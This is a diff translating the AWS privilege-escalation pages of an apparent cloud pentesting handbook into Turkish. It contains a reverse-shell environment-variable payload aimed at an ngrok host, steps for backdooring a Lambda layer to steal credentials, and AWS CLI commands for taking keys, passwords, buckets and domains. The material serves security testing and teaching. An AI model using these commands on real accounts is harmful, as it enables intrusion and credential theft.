+--zip-file fileb:///my/lambda/code/zipped.zip # If you have invoke permissions: aws lambda invoke --function-name my_function output.txt # If not check if it's exposed in any URL or via an API gateway you could access ``` - -**Potential Impact:** Direct privesc to the lambda service role used. +**Olası Etki:** Kullanılan lambda hizmet rolüne doğrudan yetki yükseltme. ### `lambda:UpdateFunctionConfiguration` -#### RCE via env variables - -With this permissions it's possible to add environment variables that will cause the Lambda to execute arbitrary code. For example in python it's possible to abuse the environment variables `PYTHONWARNING` and `BROWSER` to make a python process execute arbitrary commands: +#### Çevresel değişkenler aracılığıyla RCE +Bu izinlerle, Lambda'nın rastgele kod çalıştırmasına neden olacak çevresel değişkenler eklemek mümkündür. Örneğin, python'da `PYTHONWARNING` ve `BROWSER` çevresel değişkenlerini kötüye kullanarak bir python sürecinin rastgele komutlar çalıştırması sağlanabilir: ```bash aws --profile none-priv lambda update-function-configuration --function-name --environment "Variables={PYTHONWARNINGS=all:0:antigravity.x:0:0,BROWSER=\"/bin/bash -c 'bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18755 0>&1' & #%s\"}" ``` - -For other scripting languages there are other env variables you can use. For more info check the subsections of scripting languages in: +Diğer betik dilleri için kullanabileceğiniz başka ortam değişkenleri vardır. Daha fazla bilgi için aşağıdaki bağlantıdaki betik dilleri alt bölümlerine bakın: {{#ref}} https://book.hacktricks.xyz/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse {{#endref}} -#### RCE via Lambda Layers +#### Lambda Katmanları ile RCE -[**Lambda Layers**](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) allows to include **code** in your lamdba function but **storing it separately**, so the function code can stay small and **several functions can share code**. - -Inside lambda you can check the paths from where python code is loaded with a function like the following: +[**Lambda Katmanları**](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html), **kodunuzu** lambda fonksiyonunuza dahil etmenizi sağlar, ancak **ayrı olarak depolayarak**, böylece fonksiyon kodu küçük kalabilir ve **birden fazla fonksiyon kodu paylaşabilir**. +Lambda içinde, python kodunun yüklendiği yolları aşağıdaki gibi bir fonksiyonla kontrol edebilirsiniz: ```python import json import sys def lambda_handler(event, context): - print(json.dumps(sys.path, indent=2)) +print(json.dumps(sys.path, indent=2)) ``` - -These are the places: +Bunlar yerlerdir: 1. /var/task 2. /opt/python/lib/python3.7/site-packages @@ -224,73 +198,61 @@ These are the places: 9. /opt/python/lib/python3.7/site-packages 10. /opt/python -For example, the library boto3 is loaded from `/var/runtime/boto3` (4th position). +Örneğin, boto3 kütüphanesi `/var/runtime/boto3` (4. pozisyon) konumundan yüklenir. -#### Exploitation +#### Sömürü -It's possible to abuse the permission `lambda:UpdateFunctionConfiguration` to **add a new layer** to a lambda function. To execute arbitrary code this layer need to contain some **library that the lambda is going to import.** If you can read the code of the lambda, you could find this easily, also note that it might be possible that the lambda is **already using a layer** and you could **download** the layer and **add your code** in there. - -For example, lets suppose that the lambda is using the library boto3, this will create a local layer with the last version of the library: +`lambda:UpdateFunctionConfiguration` iznini kötüye kullanarak bir lambda fonksiyonuna **yeni bir katman eklemek** mümkündür. Rastgele kod çalıştırmak için bu katmanın **lambda'nın içe aktaracağı bazı kütüphaneleri içermesi** gerekir. Lambda'nın kodunu okuyabiliyorsanız, bunu kolayca bulabilirsiniz, ayrıca lambda'nın **zaten bir katman kullanıyor olabileceğini** ve bu katmanı **indirebileceğinizi** ve **oraya kodunuzu ekleyebileceğinizi** unutmayın. +Örneğin, lambda'nın boto3 kütüphanesini kullandığını varsayalım, bu, kütüphanenin son sürümüyle yerel bir katman oluşturacaktır: ```bash pip3 install -t ./lambda_layer boto3 ``` +You can open `./lambda_layer/boto3/__init__.py` and **global kodda arka kapıyı ekleyin** (örneğin, kimlik bilgilerini dışa aktaran veya ters shell alan bir fonksiyon). -You can open `./lambda_layer/boto3/__init__.py` and **add the backdoor in the global code** (a function to exfiltrate credentials or get a reverse shell for example). - -Then, zip that `./lambda_layer` directory and **upload the new lambda layer** in your own account (or in the victims one, but you might not have permissions for this).\ -Note that you need to create a python folder and put the libraries in there to override /opt/python/boto3. Also, the layer needs to be **compatible with the python version** used by the lambda and if you upload it to your account, it needs to be in the **same region:** - +Then, zip that `./lambda_layer` directory and **yeni lambda katmanını** kendi hesabınıza (veya kurbanın hesabına, ancak bunun için izinleriniz olmayabilir) yükleyin.\ +Not edin ki, /opt/python/boto3'ü geçersiz kılmak için bir python klasörü oluşturmanız ve kütüphaneleri oraya koymanız gerekiyor. Ayrıca, katmanın **lambda tarafından kullanılan python sürümüyle uyumlu olması** gerekiyor ve eğer bunu hesabınıza yüklüyorsanız, **aynı bölgede** olması gerekiyor: ```bash aws lambda publish-layer-version --layer-name "boto3" --zip-file file://backdoor.zip --compatible-architectures "x86_64" "arm64" --compatible-runtimes "python3.9" "python3.8" "python3.7" "python3.6" ``` - -Now, make the uploaded lambda layer **accessible by any account**: - +Şimdi, yüklenen lambda katmanını **herhangi bir hesap tarafından erişilebilir hale getirin**: ```bash aws lambda add-layer-version-permission --layer-name boto3 \ - --version-number 1 --statement-id public \ - --action lambda:GetLayerVersion --principal * +--version-number 1 --statement-id public \ +--action lambda:GetLayerVersion --principal * ``` - -And attach the lambda layer to the victim lambda function: - +Ve lambda katmanını kurban lambda fonksiyonuna ekleyin: ```bash aws lambda update-function-configuration \ - --function-name \ - --layers arn:aws:lambda:::layer:boto3:1 \ - --timeout 300 #5min for rev shells +--function-name \ +--layers arn:aws:lambda:::layer:boto3:1 \ +--timeout 300 #5min for rev shells ``` +Bir sonraki adım, **fonksiyonu** kendimiz çağırmak ya da normal yollarla **çağrılmasını** beklemek olacaktır - bu daha güvenli bir yöntemdir. -The next step would be to either **invoke the function** ourselves if we can or to wait until i**t gets invoked** by normal means–which is the safer method. - -A **more stealth way to exploit this vulnerability** can be found in: +**Bu açığı istismar etmenin daha gizli bir yolu** şurada bulunabilir: {{#ref}} ../aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md {{#endref}} -**Potential Impact:** Direct privesc to the lambda service role used. +**Olası Etki:** Kullanılan lambda hizmet rolüne doğrudan privesc. ### `iam:PassRole`, `lambda:CreateFunction`, `lambda:CreateFunctionUrlConfig`, `lambda:InvokeFunctionUrl` -Maybe with those permissions you are able to create a function and execute it calling the URL... but I could find a way to test it, so let me know if you do! +Belki bu izinlerle bir fonksiyon oluşturup URL'yi çağırarak çalıştırabilirsiniz... ama bunu test etmenin bir yolunu bulamadım, eğer bulursanız bana bildirin! ### Lambda MitM -Some lambdas are going to be **receiving sensitive info from the users in parameters.** If get RCE in one of them, you can exfiltrate the info other users are sending to it, check it in: +Bazı lambdalar, **kullanıcılardan parametrelerde hassas bilgi alacak.** Eğer bunlardan birinde RCE elde ederseniz, diğer kullanıcıların gönderdiği bilgileri dışarı sızdırabilirsiniz, bunu kontrol edin: {{#ref}} ../aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md {{#endref}} -## References +## Referanslar - [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/) - [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc.md index 1bf78eb3c..ee2ac7596 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc.md @@ -4,112 +4,93 @@ ## Lightsail -For more information about Lightsail check: +Lightsail hakkında daha fazla bilgi için kontrol edin: {{#ref}} ../aws-services/aws-lightsail-enum.md {{#endref}} > [!WARNING] -> It’s important to note that Lightsail **doesn’t use IAM roles belonging to the user** but to an AWS managed account, so you can’t abuse this service to privesc. However, **sensitive data** such as code, API keys and database info could be found in this service. +> Lightsail'in **kullanıcının IAM rollerini kullanmadığını** ancak bir AWS yönetilen hesabına ait olduğunu belirtmek önemlidir, bu nedenle bu hizmeti privesc için kötüye kullanamazsınız. Ancak, **duyarlı veriler** olarak kod, API anahtarları ve veritabanı bilgileri bu hizmette bulunabilir. ### `lightsail:DownloadDefaultKeyPair` -This permission will allow you to get the SSH keys to access the instances: - +Bu izin, örneklere erişmek için SSH anahtarlarını almanıza olanak tanır: ``` aws lightsail download-default-key-pair ``` - -**Potential Impact:** Find sensitive info inside the instances. +**Olası Etki:** Örneklerin içinde hassas bilgileri bulmak. ### `lightsail:GetInstanceAccessDetails` -This permission will allow you to generate SSH keys to access the instances: - +Bu izin, örneklere erişmek için SSH anahtarları oluşturmanıza olanak tanır: ```bash aws lightsail get-instance-access-details --instance-name ``` - -**Potential Impact:** Find sensitive info inside the instances. +**Olası Etki:** Örneklerin içinde hassas bilgileri bulmak. ### `lightsail:CreateBucketAccessKey` -This permission will allow you to get a key to access the bucket: - +Bu izin, size kovaya erişim anahtarı almanıza olanak tanır: ```bash aws lightsail create-bucket-access-key --bucket-name ``` - -**Potential Impact:** Find sensitive info inside the bucket. +**Olası Etki:** Kova içinde hassas bilgileri bulma. ### `lightsail:GetRelationalDatabaseMasterUserPassword` -This permission will allow you to get the credentials to access the database: - +Bu izin, veritabanına erişim için kimlik bilgilerini almanıza olanak tanır: ```bash aws lightsail get-relational-database-master-user-password --relational-database-name ``` - -**Potential Impact:** Find sensitive info inside the database. +**Olası Etki:** Veritabanında hassas bilgileri bulmak. ### `lightsail:UpdateRelationalDatabase` -This permission will allow you to change the password to access the database: - +Bu izin, veritabanına erişim için şifreyi değiştirmenize olanak tanır: ```bash aws lightsail update-relational-database --relational-database-name --master-user-password ``` - -If the database isn't public, you could also make it public with this permissions with - +Eğer veritabanı kamuya açık değilse, bu izinlerle kamuya açık hale getirebilirsiniz. ```bash aws lightsail update-relational-database --relational-database-name --publicly-accessible ``` - -**Potential Impact:** Find sensitive info inside the database. +**Olası Etki:** Veritabanında hassas bilgileri bulmak. ### `lightsail:OpenInstancePublicPorts` -This permission allow to open ports to the Internet - +Bu izin, portları İnternete açmaya olanak tanır. ```bash aws lightsail open-instance-public-ports \ - --instance-name MEAN-2 \ - --port-info fromPort=22,protocol=TCP,toPort=22 +--instance-name MEAN-2 \ +--port-info fromPort=22,protocol=TCP,toPort=22 ``` - -**Potential Impact:** Access sensitive ports. +**Olası Etki:** Hassas portlara erişim. ### `lightsail:PutInstancePublicPorts` -This permission allow to open ports to the Internet. Note taht the call will close any port opened not specified on it. - +Bu izin, portları İnternet'e açmaya olanak tanır. Bu çağrının, belirtilmeyen herhangi bir açılan portu kapatacağını unutmayın. ```bash aws lightsail put-instance-public-ports \ - --instance-name MEAN-2 \ - --port-infos fromPort=22,protocol=TCP,toPort=22 +--instance-name MEAN-2 \ +--port-infos fromPort=22,protocol=TCP,toPort=22 ``` - -**Potential Impact:** Access sensitive ports. +**Olası Etki:** Hassas portlara erişim. ### `lightsail:SetResourceAccessForBucket` -This permissions allows to give an instances access to a bucket without any extra credentials - +Bu izin, bir örneğe ek kimlik bilgileri olmadan bir kovaya erişim verme imkanı tanır. ```bash aws set-resource-access-for-bucket \ - --resource-name \ - --bucket-name \ - --access allow +--resource-name \ +--bucket-name \ +--access allow ``` - -**Potential Impact:** Potential new access to buckets with sensitive information. +**Potansiyel Etki:** Hassas bilgilere sahip bucket'lara potansiyel yeni erişim. ### `lightsail:UpdateBucket` -With this permission an attacker could grant his own AWS account read access over buckets or even make the buckets public to everyone: - +Bu izinle bir saldırgan, kendi AWS hesabına bucket'lar üzerinde okuma erişimi verebilir veya bucket'ları herkes için halka açık hale getirebilir: ```bash # Grant read access to exterenal account aws update-bucket --bucket-name --readonly-access-accounts @@ -120,47 +101,36 @@ aws update-bucket --bucket-name --access-rules getObject=public,allowPub # Bucket private but single objects can be public aws update-bucket --bucket-name --access-rules getObject=private,allowPublicOverrides=true ``` - -**Potential Impact:** Potential new access to buckets with sensitive information. +**Potansiyel Etki:** Hassas bilgilere sahip bucket'lara potansiyel yeni erişim. ### `lightsail:UpdateContainerService` -With this permissions an attacker could grant access to private ECRs from the containers service - +Bu izinlerle bir saldırgan, konteyner hizmetinden özel ECR'lere erişim verebilir. ```bash aws update-container-service \ - --service-name \ - --private-registry-access ecrImagePullerRole={isActive=boolean} +--service-name \ +--private-registry-access ecrImagePullerRole={isActive=boolean} ``` - -**Potential Impact:** Get sensitive information from private ECR +**Olası Etki:** Özel ECR'den hassas bilgiler elde etme ### `lightsail:CreateDomainEntry` -An attacker with this permission could create subdomain and point it to his own IP address (subdomain takeover), or craft a SPF record that allows him so spoof emails from the domain, or even set the main domain his own IP address. - +Bu izne sahip bir saldırgan, alt alan adı oluşturabilir ve bunu kendi IP adresine yönlendirebilir (alt alan adı ele geçirme), ya da alan adından e-posta sahteciliği yapmasına izin veren bir SPF kaydı oluşturabilir, hatta ana alan adını kendi IP adresine ayarlayabilir. ```bash aws lightsail create-domain-entry \ - --domain-name example.com \ - --domain-entry name=dev.example.com,type=A,target=192.0.2.0 +--domain-name example.com \ +--domain-entry name=dev.example.com,type=A,target=192.0.2.0 ``` - -**Potential Impact:** Takeover a domain +**Olası Etki:** Bir alan adını ele geçirmek ### `lightsail:UpdateDomainEntry` -An attacker with this permission could create subdomain and point it to his own IP address (subdomain takeover), or craft a SPF record that allows him so spoof emails from the domain, or even set the main domain his own IP address. - +Bu izne sahip bir saldırgan, alt alan adı oluşturabilir ve bunu kendi IP adresine yönlendirebilir (alt alan adı ele geçirme), ya da alan adından e-postaları sahtelemek için bir SPF kaydı oluşturabilir, hatta ana alan adını kendi IP adresine ayarlayabilir. ```bash aws lightsail update-domain-entry \ - --domain-name example.com \ - --domain-entry name=dev.example.com,type=A,target=192.0.2.0 +--domain-name example.com \ +--domain-entry name=dev.example.com,type=A,target=192.0.2.0 ``` - -**Potential Impact:** Takeover a domain +**Olası Etki:** Bir alanı ele geçirmek {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mediapackage-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mediapackage-privesc.md index a1004bde6..7a20d7e3e 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mediapackage-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mediapackage-privesc.md @@ -4,26 +4,18 @@ ### `mediapackage:RotateChannelCredentials` -Changes the Channel's first IngestEndpoint's username and password. (This API is deprecated for RotateIngestEndpointCredentials) - +Kanalın ilk IngestEndpoint'inin kullanıcı adını ve şifresini değiştirir. (Bu API RotateIngestEndpointCredentials için kullanımdan kaldırılmıştır) ```bash aws mediapackage rotate-channel-credentials --id ``` - ### `mediapackage:RotateIngestEndpointCredentials` -Changes the Channel's first IngestEndpoint's username and password. (This API is deprecated for RotateIngestEndpointCredentials) - +Channel'ın ilk IngestEndpoint'unun kullanıcı adını ve şifresini değiştirir. (Bu API, RotateIngestEndpointCredentials için kullanımdan kaldırılmıştır) ```bash aws mediapackage rotate-ingest-endpoint-credentials --id test --ingest-endpoint-id 584797f1740548c389a273585dd22a63 ``` - -## References +## Referanslar - [https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a](https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc.md index 80890e389..de2a5c476 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc.md @@ -4,7 +4,7 @@ ## MQ -For more information about MQ check: +MQ hakkında daha fazla bilgi için kontrol edin: {{#ref}} ../aws-services/aws-mq-enum.md @@ -12,42 +12,32 @@ For more information about MQ check: ### `mq:ListBrokers`, `mq:CreateUser` -With those permissions you can **create a new user in an ActimeMQ broker** (this doesn't work in RabbitMQ): - +Bu izinlerle **bir ActimeMQ broker'ında yeni bir kullanıcı oluşturabilirsiniz** (bu RabbitMQ'da çalışmaz): ```bash aws mq list-brokers aws mq create-user --broker-id --console-access --password --username ``` - -**Potential Impact:** Access sensitive info navigating through ActiveMQ +**Potansiyel Etki:** ActiveMQ üzerinden hassas bilgilere erişim ### `mq:ListBrokers`, `mq:ListUsers`, `mq:UpdateUser` -With those permissions you can **create a new user in an ActimeMQ broker** (this doesn't work in RabbitMQ): - +Bu izinlerle **ActiveMQ broker'ında yeni bir kullanıcı oluşturabilirsiniz** (bu RabbitMQ'da çalışmaz): ```bash aws mq list-brokers aws mq list-users --broker-id aws mq update-user --broker-id --console-access --password --username ``` - -**Potential Impact:** Access sensitive info navigating through ActiveMQ +**Olası Etki:** ActiveMQ üzerinden hassas bilgilere erişim ### `mq:ListBrokers`, `mq:UpdateBroker` -If a broker is using **LDAP** for authorization with **ActiveMQ**. It's possible to **change** the **configuration** of the LDAP server used to **one controlled by the attacker**. This way the attacker will be able to **steal all the credentials being sent through LDAP**. - +Eğer bir broker **ActiveMQ** ile yetkilendirme için **LDAP** kullanıyorsa, **saldırgan tarafından kontrol edilen** bir **LDAP sunucusunun yapılandırmasını değiştirmek** mümkündür. Bu şekilde saldırgan, **LDAP üzerinden gönderilen tüm kimlik bilgilerini çalabilir**. ```bash aws mq list-brokers aws mq update-broker --broker-id --ldap-server-metadata=... ``` +Eğer bir şekilde ActiveMQ tarafından kullanılan orijinal kimlik bilgilerini bulabilirseniz, bir MitM gerçekleştirebilir, kimlik bilgilerini çalabilir, bunları orijinal sunucuda kullanabilir ve yanıtı gönderebilirsiniz (belki sadece çalınan kimlik bilgilerini yeniden kullanarak bunu yapabilirsiniz). -If you could somehow find the original credentials used by ActiveMQ you could perform a MitM, steal the creds, used them in the original server, and send the response (maybe just reusing the crendetials stolen you could do this). - -**Potential Impact:** Steal ActiveMQ credentials +**Potansiyel Etki:** ActiveMQ kimlik bilgilerini çalmak {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-msk-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-msk-privesc.md index f0538785f..cea07610e 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-msk-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-msk-privesc.md @@ -4,7 +4,7 @@ ## MSK -For more information about MSK (Kafka) check: +MSK (Kafka) hakkında daha fazla bilgi için kontrol edin: {{#ref}} ../aws-services/aws-msk-enum.md @@ -12,17 +12,11 @@ For more information about MSK (Kafka) check: ### `msk:ListClusters`, `msk:UpdateSecurity` -With these **privileges** and **access to the VPC where the kafka brokers are**, you could add the **None authentication** to access them. - +Bu **yetkiler** ve **kafka brokerlarının bulunduğu VPC'ye erişim ile**, onlara erişmek için **None authentication** ekleyebilirsiniz. ```bash aws msk --client-authentication --cluster-arn --current-version ``` - -You need access to the VPC because **you cannot enable None authentication with Kafka publicly** exposed. If it's publicly exposed, if **SASL/SCRAM** authentication is used, you could **read the secret** to access (you will need additional privileges to read the secret).\ -If **IAM role-based authentication** is used and **kafka is publicly exposed** you could still abuse these privileges to give you permissions to access it. +VPC'ye erişiminiz olmalı çünkü **Kafka'yı kamuya açık bir şekilde None kimlik doğrulaması ile etkinleştiremezsiniz**. Eğer kamuya açıksa, eğer **SASL/SCRAM** kimlik doğrulaması kullanılıyorsa, **gizli anahtarı** okuyabilirsiniz (gizli anahtarı okumak için ek ayrıcalıklara ihtiyacınız olacak).\ +Eğer **IAM rol tabanlı kimlik doğrulaması** kullanılıyorsa ve **kafka kamuya açık bir şekilde** maruz kalıyorsa, bu ayrıcalıkları kötüye kullanarak erişim izinleri alabilirsiniz. {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc.md index 7d43bbd3b..d88733973 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc.md @@ -4,19 +4,15 @@ ## Organizations -For more information check: +Daha fazla bilgi için kontrol edin: {{#ref}} ../aws-services/aws-organizations-enum.md {{#endref}} -## From management Account to children accounts +## Yönetim Hesabından Çocuk Hesaplara -If you compromise the root/management account, chances are you can compromise all the children accounts.\ -To [**learn how check this page**](../#compromising-the-organization). +Eğer root/yönetim hesabını ele geçirirseniz, tüm çocuk hesapları ele geçirme şansınız vardır.\ +[**Bu sayfayı kontrol ederek öğrenin**](../#compromising-the-organization). {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc.md index b4a08093e..94c000922 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc.md @@ -2,9 +2,9 @@ {{#include ../../../banners/hacktricks-training.md}} -## RDS - Relational Database Service +## RDS - İlişkisel Veritabanı Servisi -For more information about RDS check: +RDS hakkında daha fazla bilgi için kontrol edin: {{#ref}} ../aws-services/aws-relational-database-rds-enum.md @@ -12,59 +12,54 @@ For more information about RDS check: ### `rds:ModifyDBInstance` -With that permission an attacker can **modify the password of the master user**, and the login inside the database: - +Bu izinle bir saldırgan **ana kullanıcının şifresini değiştirebilir** ve veritabanındaki oturumu değiştirebilir: ```bash # Get the DB username, db name and address aws rds describe-db-instances # Modify the password and wait a couple of minutes aws rds modify-db-instance \ - --db-instance-identifier \ - --master-user-password 'Llaody2f6.123' \ - --apply-immediately +--db-instance-identifier \ +--master-user-password 'Llaody2f6.123' \ +--apply-immediately # In case of postgres psql postgresql://:@:5432/ ``` - > [!WARNING] -> You will need to be able to **contact to the database** (they are usually only accessible from inside networks). +> Veritabanı ile **iletişim kurabilmeniz** gerekecek (genellikle yalnızca iç ağlardan erişilebilirler). -**Potential Impact:** Find sensitive info inside the databases. +**Olası Etki:** Veritabanlarında hassas bilgileri bulmak. ### rds-db:connect -According to the [**docs**](https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/UsingWithRDS.IAMDBAuth.IAMPolicy.html) a user with this permission could connect to the DB instance. +[**belgelere**](https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/UsingWithRDS.IAMDBAuth.IAMPolicy.html) göre, bu izne sahip bir kullanıcı DB örneğine bağlanabilir. -### Abuse RDS Role IAM permissions +### RDS Rol IAM izinlerini kötüye kullanma #### Postgresql (Aurora) > [!TIP] -> If running **`SELECT datname FROM pg_database;`** you find a database called **`rdsadmin`** you know you are inside an **AWS postgresql database**. - -First you can check if this database has been used to access any other AWS service. You could check this looking at the installed extensions: +> **`SELECT datname FROM pg_database;`** komutunu çalıştırdığınızda **`rdsadmin`** adında bir veritabanı bulursanız, bir **AWS postgresql veritabanı** içinde olduğunuzu bilirsiniz. +Öncelikle bu veritabanının başka bir AWS hizmetine erişim için kullanılıp kullanılmadığını kontrol edebilirsiniz. Bunu, kurulu uzantılara bakarak kontrol edebilirsiniz: ```sql SELECT * FROM pg_extension; ``` +Eğer **`aws_s3`** gibi bir şey bulursanız, bu veritabanının **S3 üzerinde bir tür erişime sahip olduğunu** varsayabilirsiniz (diğer uzantılar **`aws_ml`** ve **`aws_lambda`** gibi). -If you find something like **`aws_s3`** you can assume this database has **some kind of access over S3** (there are other extensions such as **`aws_ml`** and **`aws_lambda`**). - -Also, if you have permissions to run **`aws rds describe-db-clusters`** you can see there if the **cluster has any IAM Role attached** in the field **`AssociatedRoles`**. If any, you can assume that the database was **prepared to access other AWS services**. Based on the **name of the role** (or if you can get the **permissions** of the role) you could **guess** what extra access the database has. - -Now, to **read a file inside a bucket** you need to know the full path. You can read it with: +Ayrıca, **`aws rds describe-db-clusters`** komutunu çalıştırma izinleriniz varsa, **`AssociatedRoles`** alanında **kümenin herhangi bir IAM Rolü ile ilişkilendirilip ilişkilendirilmediğini** görebilirsiniz. Varsa, veritabanının **diğer AWS hizmetlerine erişim için hazırlandığını** varsayabilirsiniz. **Rolün adı** (veya rolün **izinlerini** alabiliyorsanız) temelinde, veritabanının ne tür ek erişime sahip olduğunu **tahmin edebilirsiniz**. +Artık, **bir bucket içindeki bir dosyayı okumak için** tam yolu bilmeniz gerekiyor. Bunu şu şekilde okuyabilirsiniz: ```sql // Create table CREATE TABLE ttemp (col TEXT); // Create s3 uri SELECT aws_commons.create_s3_uri( - 'test1234567890678', // Name of the bucket - 'data.csv', // Name of the file - 'eu-west-1' //region of the bucket +'test1234567890678', // Name of the bucket +'data.csv', // Name of the file +'eu-west-1' //region of the bucket ) AS s3_uri \gset // Load file contents in table @@ -76,98 +71,81 @@ SELECT * from ttemp; // Delete table DROP TABLE ttemp; ``` - -If you had **raw AWS credentials** you could also use them to access S3 data with: - +Eğer **ham AWS kimlik bilgilerine** sahip olsaydınız, bunları S3 verilerine erişmek için de kullanabilirdiniz: ```sql SELECT aws_s3.table_import_from_s3( - 't', '', '(format csv)', - :'s3_uri', - aws_commons.create_aws_credentials('sample_access_key', 'sample_secret_key', '') +'t', '', '(format csv)', +:'s3_uri', +aws_commons.create_aws_credentials('sample_access_key', 'sample_secret_key', '') ); ``` - > [!NOTE] -> Postgresql **doesn't need to change any parameter group variable** to be able to access S3. +> Postgresql **S3'e erişebilmek için herhangi bir parametre grubu değişkenini değiştirmeye ihtiyaç duymaz**. #### Mysql (Aurora) > [!TIP] -> Inside a mysql, if you run the query **`SELECT User, Host FROM mysql.user;`** and there is a user called **`rdsadmin`**, you can assume you are inside an **AWS RDS mysql db**. +> Bir mysql içinde, **`SELECT User, Host FROM mysql.user;`** sorgusunu çalıştırırsanız ve **`rdsadmin`** adında bir kullanıcı varsa, **AWS RDS mysql db** içinde olduğunuzu varsayabilirsiniz. -Inside the mysql run **`show variables;`** and if the variables such as **`aws_default_s3_role`**, **`aurora_load_from_s3_role`**, **`aurora_select_into_s3_role`**, have values, you can assume the database is prepared to access S3 data. +Mysql içinde **`show variables;`** komutunu çalıştırın ve **`aws_default_s3_role`**, **`aurora_load_from_s3_role`**, **`aurora_select_into_s3_role`** gibi değişkenlerin değerleri varsa, veritabanasının S3 verilerine erişmeye hazır olduğunu varsayabilirsiniz. -Also, if you have permissions to run **`aws rds describe-db-clusters`** you can check if the cluster has any **associated role**, which usually means access to AWS services). - -Now, to **read a file inside a bucket** you need to know the full path. You can read it with: +Ayrıca, **`aws rds describe-db-clusters`** komutunu çalıştırma izniniz varsa, kümenin herhangi bir **ilişkili rolü** olup olmadığını kontrol edebilirsiniz; bu genellikle AWS hizmetlerine erişim anlamına gelir. +Artık, **bir bucket içindeki bir dosyayı okumak için** tam yolu bilmeniz gerekiyor. Bunu şu şekilde okuyabilirsiniz: ```sql CREATE TABLE ttemp (col TEXT); LOAD DATA FROM S3 's3://mybucket/data.txt' INTO TABLE ttemp(col); SELECT * FROM ttemp; DROP TABLE ttemp; ``` - ### `rds:AddRoleToDBCluster`, `iam:PassRole` -An attacker with the permissions `rds:AddRoleToDBCluster` and `iam:PassRole` can **add a specified role to an existing RDS instance**. This could allow the attacker to **access sensitive data** or modify the data within the instance. - +`rds:AddRoleToDBCluster` ve `iam:PassRole` izinlerine sahip bir saldırgan, **mevcut bir RDS örneğine belirli bir rol ekleyebilir**. Bu, saldırgana **hassas verilere erişim sağlama** veya örnekteki verileri değiştirme imkanı verebilir. ```bash aws add-role-to-db-cluster --db-cluster-identifier --role-arn ``` - -**Potential Impact**: Access to sensitive data or unauthorized modifications to the data in the RDS instance.\ -Note that some DBs require additional configs such as Mysql, which needs to specify the role ARN in the aprameter groups also. +**Potansiyel Etki**: RDS örneğindeki hassas verilere erişim veya verilere yetkisiz değişiklikler.\ +Bazı DB'lerin, parametre gruplarında rol ARN'sinin belirtilmesi gibi ek yapılandırmalara ihtiyaç duyduğunu unutmayın. ### `rds:CreateDBInstance` -Just with this permission an attacker could create a **new instance inside a cluster** that already exists and has an **IAM role** attached. He won't be able to change the master user password, but he might be able to expose the new database instance to the internet: - +Bu izinle bir saldırgan, zaten var olan ve bir **IAM rolü** eklenmiş bir **küme içinde yeni bir örnek** oluşturabilir. Ana kullanıcı şifresini değiştiremeyecek, ancak yeni veritabanı örneğini internete açma olanağına sahip olabilir: ```bash aws --region eu-west-1 --profile none-priv rds create-db-instance \ - --db-instance-identifier mydbinstance2 \ - --db-instance-class db.t3.medium \ - --engine aurora-postgresql \ - --db-cluster-identifier database-1 \ - --db-security-groups "string" \ - --publicly-accessible +--db-instance-identifier mydbinstance2 \ +--db-instance-class db.t3.medium \ +--engine aurora-postgresql \ +--db-cluster-identifier database-1 \ +--db-security-groups "string" \ +--publicly-accessible ``` - ### `rds:CreateDBInstance`, `iam:PassRole` > [!NOTE] > TODO: Test -An attacker with the permissions `rds:CreateDBInstance` and `iam:PassRole` can **create a new RDS instance with a specified role attached**. The attacker can then potentially **access sensitive data** or modify the data within the instance. +`rds:CreateDBInstance` ve `iam:PassRole` izinlerine sahip bir saldırgan, **belirtilen bir rol eklenmiş yeni bir RDS örneği oluşturabilir**. Saldırgan daha sonra potansiyel olarak 